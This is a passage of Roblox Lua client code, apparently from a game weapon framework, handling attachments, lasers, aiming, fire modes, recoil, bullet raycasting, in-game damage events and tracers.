Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end --load Barrel Att if weapon.Nodes:FindFirstChild("Barrel") ~= nil and WeaponData.BarrelAtt ~= "" then BarrelData = require(AttModules[WeaponData.BarrelAtt]) BarrelAtt = AttModels[WeaponData.BarrelAtt]:Clone() BarrelAtt.Parent = weapon BarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.Barrel.CFrame) if BarrelAtt:FindFirstChild("BarrelPos") ~= nil then weapon.Handle.Muzzle.WorldCFrame = BarrelAtt.BarrelPos.CFrame end Suppressor = BarrelData.IsSuppressor FlashHider = BarrelData.IsFlashHider setMods(BarrelData) for index, key in pairs(BarrelAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end --load Under Barrel Att if weapon.Nodes:FindFirstChild("UnderBarrel") ~= nil and WeaponData.UnderBarrelAtt ~= "" then UnderBarrelData = require(AttModules[WeaponData.UnderBarrelAtt]) UnderBarrelAtt = AttModels[WeaponData.UnderBarrelAtt]:Clone() UnderBarrelAtt.Parent = weapon UnderBarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.UnderBarrel.CFrame) setMods(UnderBarrelData) BipodAtt = UnderBarrelData.IsBipod if BipodAtt then CAS:BindAction("ToggleBipod", handleAction, true, Enum.KeyCode.B) end for index, key in pairs(UnderBarrelAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end if weapon.Nodes:FindFirstChild("Other") ~= nil and WeaponData.OtherAtt ~= "" then OtherData = require(AttModules[WeaponData.OtherAtt]) OtherAtt = AttModels[WeaponData.OtherAtt]:Clone() OtherAtt.Parent = weapon OtherAtt:SetPrimaryPartCFrame(weapon.Nodes.Other.CFrame) setMods(OtherData) LaserAtt = OtherData.EnableLaser TorchAtt = OtherData.EnableFlashlight if OtherData.InfraRed then IREnable = true end for index, key in pairs(OtherAtt:GetChildren()) do if not key:IsA('BasePart') then continue; end; Ultil.Weld(weapon:WaitForChild("Handle"), key ) key.Anchored = false key.CanCollide = false end end end function SetLaser() if gameRules.RealisticLaser and IREnable then if not LaserActive and not IRmode then LaserActive = true IRmode = true elseif LaserActive and IRmode then IRmode = false else LaserActive = false IRmode = false end else LaserActive = not LaserActive end WeaponInHand.Handle.Click:play() UpdateGui() if LaserActive then if Pointer then return; end; for index, Key in pairs(WeaponInHand:GetDescendants()) do if not Key:IsA("BasePart") or Key.Name ~= "LaserPoint" then continue; end; local LaserPointer = Instance.new('Part',Key) LaserPointer.Shape = 'Ball' LaserPointer.Size = Vector3.new(0.2, 0.2, 0.2) LaserPointer.CanCollide = false LaserPointer.Color = Key.Color LaserPointer.Material = Enum.Material.Neon local LaserSP = Instance.new('Attachment',Key) local LaserEP = Instance.new('Attachment',LaserPointer) local Laser = Instance.new('Beam',LaserPointer) Laser.Transparency = NumberSequence.new(0) Laser.LightEmission = 1 Laser.LightInfluence = 1 Laser.Attachment0 = LaserSP Laser.Attachment1 = LaserEP Laser.Color = ColorSequence.new(Key.Color) Laser.FaceCamera = true Laser.Width0 = 0.01 Laser.Width1 = 0.01 if gameRules.RealisticLaser then Laser.Enabled = false end Pointer = LaserPointer break end else for index, Key in pairs(WeaponInHand:GetDescendants()) do if not Key:IsA("BasePart") or Key.Name ~= "LaserPoint" then continue; end; Key:ClearAllChildren() break end Pointer = nil if gameRules.ReplicatedLaser then Evt.SVLaser:FireServer(nil,2,nil,false,WeaponTool) end end end function SetTorch() TorchActive = not TorchActive for index, Key in pairs(WeaponInHand:GetDescendants()) do if not Key:IsA("BasePart") or Key.Name ~= "FlashPoint" then continue; end; Key.Light.Enabled = TorchActive end Evt.SVFlash:FireServer(WeaponTool,TorchActive) WeaponInHand.Handle.Click:play() UpdateGui() end function ADS(aimming) if not WeaponData or not WeaponInHand then return; end; if aimming then if SafeMode then SafeMode = false GunStance = 0 IdleAnim() UpdateGui() end game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100) WeaponInHand.Handle.AimDown:Play() GunStance = 2 Evt.GunStance:FireServer(GunStance,AnimData) TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play() else game:GetService('UserInputService').MouseDeltaSensitivity = 1 WeaponInHand.Handle.AimUp:Play() GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) if WeaponData.CrossHair then TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() end if WeaponData.CenterDot then TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 0}):Play() else TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play() end end end function SetAimpart() if aimming then if AimPartMode == 1 then AimPartMode = 2 if WeaponInHand:FindFirstChild('AimPart2') then CurAimpart = WeaponInHand:FindFirstChild('AimPart2') end else AimPartMode = 1 CurAimpart = WeaponInHand:FindFirstChild('AimPart') end --print("Set to Aimpart: "..AimPartMode) end end function Firemode() WeaponInHand.Handle.SafetyClick:Play() mouse1down = false ---Semi Settings--- if WeaponData.ShootType == 1 and WeaponData.FireModes.Burst == true then WeaponData.ShootType = 2 elseif WeaponData.ShootType == 1 and WeaponData.FireModes.Burst == false and WeaponData.FireModes.Auto == true then WeaponData.ShootType = 3 ---Burst Settings--- elseif WeaponData.ShootType == 2 and WeaponData.FireModes.Auto == true then WeaponData.ShootType = 3 elseif WeaponData.ShootType == 2 and WeaponData.FireModes.Semi == true and WeaponData.FireModes.Auto == false then WeaponData.ShootType = 1 ---Auto Settings--- elseif WeaponData.ShootType == 3 and WeaponData.FireModes.Semi == true then WeaponData.ShootType = 1 elseif WeaponData.ShootType == 3 and WeaponData.FireModes.Semi == false and WeaponData.FireModes.Burst == true then WeaponData.ShootType = 2 ---Explosive Settings--- end UpdateGui() end function setup(Tool) if not char or not Tool or not char:FindFirstChild("Humanoid") or char.Humanoid.Health <= 0 then return; end; local ToolCheck = Tool local GunModelCheck = GunModels:FindFirstChild(Tool.Name) if not ToolCheck or not GunModelCheck then warn("Tool Or Gun Model Doesn't Exist") return; end; ToolEquip = true User.MouseIconEnabled = false plr.CameraMode = Enum.CameraMode.LockFirstPerson WeaponTool = ToolCheck WeaponData = require(Tool:FindFirstChild("ACS_Settings")) AnimData = require(Tool:FindFirstChild("ACS_Animations")) WeaponInHand = GunModelCheck:Clone() WeaponInHand.PrimaryPart = WeaponInHand:WaitForChild("Handle") Evt.Equip:FireServer(Tool,1,WeaponData,AnimData) ViewModel = ArmModel:WaitForChild("Arms"):Clone() ViewModel.Name = "Viewmodel" if char:WaitForChild("Body Colors") then local Colors = char:WaitForChild("Body Colors"):Clone() Colors.Parent = ViewModel end if char:FindFirstChild("Shirt") then local Shirt = char:FindFirstChild("Shirt"):Clone() Shirt.Parent = ViewModel end AnimPart = Instance.new("Part",ViewModel) AnimPart.Size = Vector3.new(0.1,0.1,0.1) AnimPart.Anchored = true AnimPart.CanCollide = false AnimPart.Transparency = 1 ViewModel.PrimaryPart = AnimPart LArmWeld = Instance.new("Motor6D",AnimPart) LArmWeld.Name = "LeftArm" LArmWeld.Part0 = AnimPart RArmWeld = Instance.new("Motor6D",AnimPart) RArmWeld.Name = "RightArm" RArmWeld.Part0 = AnimPart GunWeld = Instance.new("Motor6D",AnimPart) GunWeld.Name = "Handle" --setup arms to camera ViewModel.Parent = cam maincf = AnimData.MainCFrame guncf = AnimData.GunCFrame larmcf = AnimData.LArmCFrame rarmcf = AnimData.RArmCFrame if WeaponData.CrossHair then TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play() if WeaponData.Bullets > 1 then Crosshair.Up.Rotation = 90 Crosshair.Down.Rotation = 90 Crosshair.Left.Rotation = 90 Crosshair.Right.Rotation = 90 else Crosshair.Up.Rotation = 0 Crosshair.Down.Rotation = 0 Crosshair.Left.Rotation = 0 Crosshair.Right.Rotation = 0 end else TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() end if WeaponData.CenterDot then TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 0}):Play() else TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play() end LArm = ViewModel:WaitForChild("Left Arm") LArmWeld.Part1 = LArm LArmWeld.C0 = CFrame.new() LArmWeld.C1 = CFrame.new(1,-1,-5) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)):inverse() RArm = ViewModel:WaitForChild("Right Arm") RArmWeld.Part1 = RArm RArmWeld.C0 = CFrame.new() RArmWeld.C1 = CFrame.new(-1,-1,-5) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)):inverse() GunWeld.Part0 = RArm LArm.Anchored = false RArm.Anchored = false --setup weapon to camera ModTable.ZoomValue = WeaponData.Zoom ModTable.Zoom2Value = WeaponData.Zoom2 IREnable = WeaponData.InfraRed CAS:BindAction("Fire", handleAction, true, Enum.UserInputType.MouseButton1, Enum.KeyCode.ButtonR2) CAS:BindAction("ADS", handleAction, true, Enum.UserInputType.MouseButton2, Enum.KeyCode.ButtonL2) CAS:BindAction("Reload", handleAction, true, Enum.KeyCode.R, Enum.KeyCode.ButtonB) CAS:BindAction("CycleAimpart", handleAction, false, Enum.KeyCode.T) CAS:BindAction("CycleLaser", handleAction, true, Enum.KeyCode.H) CAS:BindAction("CycleLight", handleAction, true, Enum.KeyCode.J) CAS:BindAction("CycleFiremode", handleAction, false, Enum.KeyCode.V) CAS:BindAction("CheckMag", handleAction, false, Enum.KeyCode.M) CAS:BindAction("ZeroDown", handleAction, false, Enum.KeyCode.LeftBracket) CAS:BindAction("ZeroUp", handleAction, false, Enum.KeyCode.RightBracket) loadAttachment(WeaponInHand) BSpread = math.min(WeaponData.MinSpread * ModTable.MinSpread, WeaponData.MaxSpread * ModTable.MaxSpread) RecoilPower = math.min(WeaponData.MinRecoilPower * ModTable.MinRecoilPower, WeaponData.MaxRecoilPower * ModTable.MaxRecoilPower) Ammo = WeaponData.AmmoInGun StoredAmmo = WeaponData.StoredAmmo CurAimpart = WeaponInHand:FindFirstChild("AimPart") for index, Key in pairs(WeaponInHand:GetDescendants()) do if Key:IsA("BasePart") and Key.Name == "FlashPoint" then TorchAtt = true end if Key:IsA("BasePart") and Key.Name == "LaserPoint" then LaserAtt = true end end if WeaponData.EnableHUD then SE_GUI.GunHUD.Visible = true end UpdateGui() for index, key in pairs(WeaponInHand:GetChildren()) do if key:IsA('BasePart') and key.Name ~= 'Handle' then if key.Name ~= "Bolt" and key.Name ~= 'Lid' and key.Name ~= "Slide" then Ultil.Weld(WeaponInHand:WaitForChild("Handle"), key) end if key.Name == "Bolt" or key.Name == "Slide" then Ultil.WeldComplex(WeaponInHand:WaitForChild("Handle"), key, key.Name) end; if key.Name == "Lid" then if WeaponInHand:FindFirstChild('LidHinge') then Ultil.Weld(key, WeaponInHand:WaitForChild("LidHinge")) else Ultil.Weld(key, WeaponInHand:WaitForChild("Handle")) end end end end; for L_213_forvar1, L_214_forvar2 in pairs(WeaponInHand:GetChildren()) do if L_214_forvar2:IsA('BasePart') then L_214_forvar2.Anchored = false L_214_forvar2.CanCollide = false end end; if WeaponInHand:FindFirstChild("Nodes") then for L_213_forvar1, L_214_forvar2 in pairs(WeaponInHand.Nodes:GetChildren()) do if L_214_forvar2:IsA('BasePart') then Ultil.Weld(WeaponInHand:WaitForChild("Handle"), L_214_forvar2) L_214_forvar2.Anchored = false L_214_forvar2.CanCollide = false end end; end GunWeld.Part1 = WeaponInHand:WaitForChild("Handle") GunWeld.C1 = guncf --WeaponInHand:SetPrimaryPartCFrame( RArm.CFrame * guncf) WeaponInHand.Parent = ViewModel if Ammo <= 0 and WeaponData.Type == "Gun" then WeaponInHand.Handle.Slide.C0 = WeaponData.SlideEx:inverse() end EquipAnim() if WeaponData and WeaponData.Type ~= "Grenade" then RunCheck() end end function unset() ToolEquip = false Evt.Equip:FireServer(WeaponTool,2) --unsetup weapon data module CAS:UnbindAction("Fire") CAS:UnbindAction("ADS") CAS:UnbindAction("Reload") CAS:UnbindAction("CycleLaser") CAS:UnbindAction("CycleLight") CAS:UnbindAction("CycleFiremode") CAS:UnbindAction("CycleAimpart") CAS:UnbindAction("ZeroUp") CAS:UnbindAction("ZeroDown") CAS:UnbindAction("CheckMag") mouse1down = false aimming = false TS:Create(cam,AimTween,{FieldOfView = 70}):Play() TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play() TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play() User.MouseIconEnabled = true game:GetService('UserInputService').MouseDeltaSensitivity = 1 cam.CameraType = Enum.CameraType.Custom plr.CameraMode = Enum.CameraMode.Classic if WeaponInHand then WeaponData.AmmoInGun = Ammo WeaponData.StoredAmmo = StoredAmmo ViewModel:Destroy() ViewModel = nil WeaponInHand = nil WeaponTool = nil LArm = nil RArm = nil LArmWeld = nil RArmWeld = nil WeaponData = nil AnimData = nil SightAtt = nil reticle = nil BarrelAtt = nil UnderBarrelAtt = nil OtherAtt = nil LaserAtt = false LaserActive = false IRmode = false TorchAtt = false TorchActive = false BipodAtt = false BipodActive = false LaserDist = 0 Pointer = nil BSpread = nil RecoilPower = nil Suppressor = false FlashHider = false CancelReload = false reloading = false SafeMode = false CheckingMag = false GRDebounce = false CookGrenade = false GunStance = 0 resetMods() generateBullet = 1 AimPartMode = 1 SE_GUI.GunHUD.Visible = false SE_GUI.GrenadeForce.Visible = false BipodCF = CFrame.new() if gameRules.ReplicatedLaser then Evt.SVLaser:FireServer(nil,2,nil,false,WeaponTool) end end end local HalfStep = false function HeadMovement() if not char:FindFirstChild("HumanoidRootPart") or not char:FindFirstChild("Humanoid") or char.Humanoid.Health <= 0 then return; end; if char.Humanoid.RigType == Enum.HumanoidRigType.R15 then return; end; if not ACS_Client or ACS_Client:GetAttribute("Collapsed") then return; end; local CameraDirection = char.HumanoidRootPart.CFrame:toObjectSpace(cam.CFrame).lookVector if Neck then HalfStep = not HalfStep local neckCFrame = CFNew(0, -.5, 0) * CFAng(0, Asin(CameraDirection.x)/1.15, 0) * CFAng(-Asin(cam.CFrame.LookVector.y)+Asin(char.Torso.CFrame.lookVector.Y), 0, 0) * CFAng(-math.rad(90), 0, math.rad(180)) TS:Create(Neck, TweenInfo.new(.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0), {C1 = neckCFrame}):Play() if not HalfStep then return; end; Evt.HeadRot:FireServer(neckCFrame) end end function renderCam() cam.CFrame = cam.CFrame*CFrame.Angles(cameraspring.p.x,cameraspring.p.y,cameraspring.p.z) end function renderGunRecoil() recoilcf = recoilcf*CFrame.Angles(RecoilSpring.p.x,RecoilSpring.p.y,RecoilSpring.p.z) end function Recoil() local vr = (math.random(WeaponData.camRecoil.camRecoilUp[1], WeaponData.camRecoil.camRecoilUp[2])/2) * ModTable.camRecoilMod.RecoilUp local lr = (math.random(WeaponData.camRecoil.camRecoilLeft[1], WeaponData.camRecoil.camRecoilLeft[2])) * ModTable.camRecoilMod.RecoilLeft local rr = (math.random(WeaponData.camRecoil.camRecoilRight[1], WeaponData.camRecoil.camRecoilRight[2])) * ModTable.camRecoilMod.RecoilRight local hr = (math.random(-rr, lr)/2) local tr = (math.random(WeaponData.camRecoil.camRecoilTilt[1], WeaponData.camRecoil.camRecoilTilt[2])/2) * ModTable.camRecoilMod.RecoilTilt local RecoilX = math.rad(vr * RAND( 1, 1, .1)) local RecoilY = math.rad(hr * RAND(-1, 1, .1)) local RecoilZ = math.rad(tr * RAND(-1, 1, .1)) local gvr = (math.random(WeaponData.gunRecoil.gunRecoilUp[1], WeaponData.gunRecoil.gunRecoilUp[2]) /10) * ModTable.gunRecoilMod.RecoilUp local gdr = (math.random(-1,1) * math.random(WeaponData.gunRecoil.gunRecoilTilt[1], WeaponData.gunRecoil.gunRecoilTilt[2]) /10) * ModTable.gunRecoilMod.RecoilTilt local glr = (math.random(WeaponData.gunRecoil.gunRecoilLeft[1], WeaponData.gunRecoil.gunRecoilLeft[2])) * ModTable.gunRecoilMod.RecoilLeft local grr = (math.random(WeaponData.gunRecoil.gunRecoilRight[1], WeaponData.gunRecoil.gunRecoilRight[2])) * ModTable.gunRecoilMod.RecoilRight local ghr = (math.random(-grr, glr)/10) local ARR = WeaponData.AimRecoilReduction * ModTable.AimRM if BipodActive then cameraspring:accelerate(Vector3.new( RecoilX, RecoilY/2, 0 )) if not aimming then RecoilSpring:accelerate(Vector3.new( math.rad(.25 * gvr * RecoilPower), math.rad(.25 * ghr * RecoilPower), math.rad(.25 * gdr))) recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad(.25 * gvr * RecoilPower ),math.rad(.25 * ghr * RecoilPower ),math.rad(.25 * gdr * RecoilPower )) else RecoilSpring:accelerate(Vector3.new( math.rad( .25 * gvr * RecoilPower/ARR) , math.rad(.25 * ghr * RecoilPower/ARR), math.rad(.25 * gdr/ ARR))) recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad(.25 * gvr * RecoilPower/ARR ),math.rad(.25 * ghr * RecoilPower/ARR ),math.rad(.25 * gdr * RecoilPower/ARR )) end Thread:Wait(0.05) cameraspring:accelerate(Vector3.new(-RecoilX, -RecoilY/2, 0)) else cameraspring:accelerate(Vector3.new( RecoilX , RecoilY, RecoilZ )) if not aimming then RecoilSpring:accelerate(Vector3.new( math.rad(gvr * RecoilPower), math.rad(ghr * RecoilPower), math.rad(gdr))) recoilcf = recoilcf * CFrame.new(0,-0.05,.1) * CFrame.Angles( math.rad( gvr * RecoilPower ),math.rad( ghr * RecoilPower ),math.rad( gdr * RecoilPower )) else RecoilSpring:accelerate(Vector3.new( math.rad(gvr * RecoilPower/ARR) , math.rad(ghr * RecoilPower/ARR), math.rad(gdr/ ARR))) recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad( gvr * RecoilPower/ARR ),math.rad( ghr * RecoilPower/ARR ),math.rad( gdr * RecoilPower/ARR )) end end end function CheckForHumanoid(L_225_arg1) local L_226_ = false local L_227_ = nil if L_225_arg1 then if (L_225_arg1.Parent:FindFirstChildOfClass("Humanoid") or L_225_arg1.Parent.Parent:FindFirstChildOfClass("Humanoid")) then L_226_ = true if L_225_arg1.Parent:FindFirstChildOfClass('Humanoid') then L_227_ = L_225_arg1.Parent:FindFirstChildOfClass('Humanoid') elseif L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid') then L_227_ = L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid') end else L_226_ = false end end return L_226_, L_227_ end function CastRay(Bullet, Origin) if not Bullet then return; end; local Bpos = Bullet.Position local Bpos2 = cam.CFrame.Position local recast = false local TotalDistTraveled = 0 local Debounce = false local raycastResult local raycastParams = RaycastParams.new() raycastParams.FilterDescendantsInstances = Ignore_Model raycastParams.FilterType = Enum.RaycastFilterType.Blacklist raycastParams.IgnoreWater = true while Bullet do Run.Heartbeat:Wait() if not Bullet.Parent then break; end; Bpos = Bullet.Position TotalDistTraveled = (Bullet.Position - Origin).Magnitude if TotalDistTraveled > 7000 then Bullet:Destroy() Debounce = true break end for _, plyr in pairs(game.Players:GetPlayers()) do if Debounce or plyr == plr or not plyr.Character or not plyr.Character:FindFirstChild('Head') or (plyr.Character.Head.Position - Bpos).magnitude > 25 then continue; end; Evt.Whizz:FireServer(plyr) Evt.Suppression:FireServer(plyr,1,nil,nil) Debounce = true end -- Set an origin and directional vector raycastResult = workspace:Raycast(Bpos2, (Bpos - Bpos2) * 1, raycastParams) recast = false if raycastResult then local Hit2 = raycastResult.Instance if Hit2 and Hit2.Parent:IsA('Accessory') or Hit2.Parent:IsA('Hat') then for _,players in pairs(game.Players:GetPlayers()) do if players.Character then for i, hats in pairs(players.Character:GetChildren()) do if hats:IsA("Accessory") then table.insert(Ignore_Model, hats) end end end end recast = true CastRay(Bullet, Origin) break end if Hit2 and Hit2.Name == "Ignorable" or Hit2.Name == "Glass" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then table.insert(Ignore_Model, Hit2) recast = true CastRay(Bullet, Origin) break end if Hit2 and Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then table.insert(Ignore_Model, Hit2.Parent) recast = true CastRay(Bullet, Origin) break end if Hit2 and (Hit2.Transparency >= 1 or Hit2.CanCollide == false) and Hit2.Name ~= 'Head' and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then table.insert(Ignore_Model, Hit2) recast = true CastRay(Bullet, Origin) break end if not recast then Bullet:Destroy() Debounce = true local FoundHuman,VitimaHuman = CheckForHumanoid(raycastResult.Instance) HitMod.HitEffect(Ignore_Model, raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData) Evt.HitEffect:FireServer(raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData) local HitPart = raycastResult.Instance TotalDistTraveled = (raycastResult.Position - Origin).Magnitude if FoundHuman == true and VitimaHuman.Health > 0 and WeaponData then local SKP_02 = SKP_01.."-"..plr.UserId if HitPart.Name == "Head" or HitPart.Parent.Name == "Top" or HitPart.Parent.Name == "Headset" or HitPart.Parent.Name == "Olho" or HitPart.Parent.Name == "Face" or HitPart.Parent.Name == "Numero" then Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 1, WeaponData, ModTable, nil, nil, SKP_02) elseif HitPart.Name == "Torso" or HitPart.Name == "UpperTorso" or HitPart.Name == "LowerTorso" or HitPart.Parent.Name == "Chest" or HitPart.Parent.Name == "Waist" or HitPart.Name == "Right Arm" or HitPart.Name == "Left Arm" or HitPart.Name == "RightUpperArm" or HitPart.Name == "RightLowerArm" or HitPart.Name == "RightHand" or HitPart.Name == "LeftUpperArm" or HitPart.Name == "LeftLowerArm" or HitPart.Name == "LeftHand" then Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 2, WeaponData, ModTable, nil, nil, SKP_02) elseif HitPart.Name == "Right Leg" or HitPart.Name == "Left Leg" or HitPart.Name == "RightUpperLeg" or HitPart.Name == "RightLowerLeg" or HitPart.Name == "RightFoot" or HitPart.Name == "LeftUpperLeg" or HitPart.Name == "LeftLowerLeg" or HitPart.Name == "LeftFoot" then Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 3, WeaponData, ModTable, nil, nil, SKP_02) end end end break end Bpos2 = Bpos end end local Tracers = 0 function TracerCalculation() if not WeaponData.Tracer and not WeaponData.BulletFlare then return false; end; if WeaponData.RandomTracer.Enabled then if math.random(1, 100) <= WeaponData.RandomTracer.Chance then return true; end; return false; end; if Tracers >= WeaponData.TracerEveryXShots then Tracers = 0; return true; end; Tracers = Tracers + 1; return false; end; function CreateBullet() local Bullet = Instance.new("Part",ACS_Workspace.Client) Bullet.Name = plr.Name.."_Bullet" Bullet.CanCollide = false Bullet.Shape = Enum.PartType.Ball Bullet.Transparency = 1 Bullet.Size = Vector3.new(1,1,1) local Origin = WeaponInHand.Handle.Muzzle.WorldPosition local Direction = WeaponInHand.Handle.Muzzle.WorldCFrame.LookVector + (WeaponInHand.Handle.Muzzle.WorldCFrame.UpVector * (((WeaponData.BulletDrop * WeaponData.CurrentZero/4)/WeaponData.MuzzleVelocity))/2) local BulletCF = CFrame.new(Origin, Direction) local WalkMul = WeaponData.WalkMult * ModTable.WalkMult local BColor = Color3.fromRGB(255,255,255) local balaspread if aimming and WeaponData.Bullets <= 1 then balaspread = CFrame.Angles( math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)), math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)), math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)) ) else balaspread = CFrame.Angles( math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10), math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10), math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10) ) end Direction = balaspread * Direction local Visivel = TracerCalculation() if WeaponData.RainbowMode then BColor = Color3.fromRGB(math.random(0,255),math.random(0,255),math.random(0,255)) else BColor = WeaponData.TracerColor end if Visivel then if gameRules.ReplicatedBullets then Evt.ServerBullet:FireServer(Origin,Direction,WeaponData,ModTable) end if WeaponData.Tracer == true then local At1 = Instance.new("Attachment") At1.Name = "At1" At1.Position = Vector3.new(-(.05),0,0) At1.Parent = Bullet local At2 = Instance.new("Attachment") At2.Name = "At2" At2.Position = Vector3.new((.05),0,0) At2.Parent = Bullet local Particles = Instance.new("Trail") Particles.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0, 0); NumberSequenceKeypoint.new(1, 1); } ) Particles.WidthScale = NumberSequence.new({ NumberSequenceKeypoint.new(0, 2, 0); NumberSequenceKeypoint.new(1, 1); } ) Particles.Color = ColorSequence.new(BColor) Particles.Texture = "rbxassetid://232918622" Particles.TextureMode = Enum.TextureMode.Stretch Particles.FaceCamera = true Particles.LightEmission = 1 Particles.LightInfluence = 0 Particles.Lifetime = .25 Particles.Attachment0 = At1 Particles.Attachment1 = At2 Particles.Parent = Bullet end if WeaponData.BulletFlare == true then local bg = 